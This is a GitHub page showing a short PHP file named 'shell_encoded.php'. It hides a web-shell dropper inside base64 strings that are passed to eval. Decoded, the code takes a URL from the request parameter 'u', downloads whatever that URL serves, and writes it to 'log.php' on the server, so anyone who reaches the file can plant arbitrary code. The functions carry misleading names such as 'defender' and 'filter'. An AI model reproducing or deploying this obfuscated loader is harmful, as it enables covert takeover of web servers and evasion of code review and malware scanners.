-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathshell_encoded.php
More file actions
20 lines (16 loc) · 789 Bytes
/
shell_encoded.php
File metadata and controls
20 lines (16 loc) · 789 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function defender()
{
$var = 'ZnVuY3Rpb24gX18oKQ0Kew0KCXJldHVybiBfX18oKTsNCn0NCg0KZnVuY3Rpb24gX19fKCkNCnsNCglyZXR1cm4gZmlsZV9nZXRfY29udGVudHMoX2NhbGwoKSk7DQp9DQoNCmZ1bmN0aW9uIF9jYWxsKCkNCnsNCglyZXR1cm4gJF9SRVFVRVNUW19hcnJheSgpXTsNCn0NCg0KZnVuY3Rpb24gX2FycmF5KCkNCnsNCglyZXR1cm4gJ3UnOw0KfQ0KDQpmdW5jdGlvbiBfZigkZGF0YSkNCnsNCgkkYSA9IGZfb19yKCk7DQoJZnB1dHMoJGEsJGRhdGEpOw0KfQ0KDQpmdW5jdGlvbiBmX29fcigpDQp7DQoJcmV0dXJuIGZvcGVuKF9fX2ZvcigpLF9fbSgpKTsNCn0NCg0KZnVuY3Rpb24gX19fZm9yKCkNCnsNCglyZXR1cm4gJ2xvZy5waHAnOw0KfQ0KDQpmdW5jdGlvbiBfX20oKQ0Kew0KCXJldHVybiAndysnOw0KfQ0K';
return eval(base64_decode($var));
}
function _numeric()
{
return base64_decode('DQoNCg0KDQoNCiRfID0gX18oKTsNCiRfXyA9IF9mKCRfKTsNCg==');
}
function filter()
{
return eval(_numeric());
}
defender();
filter();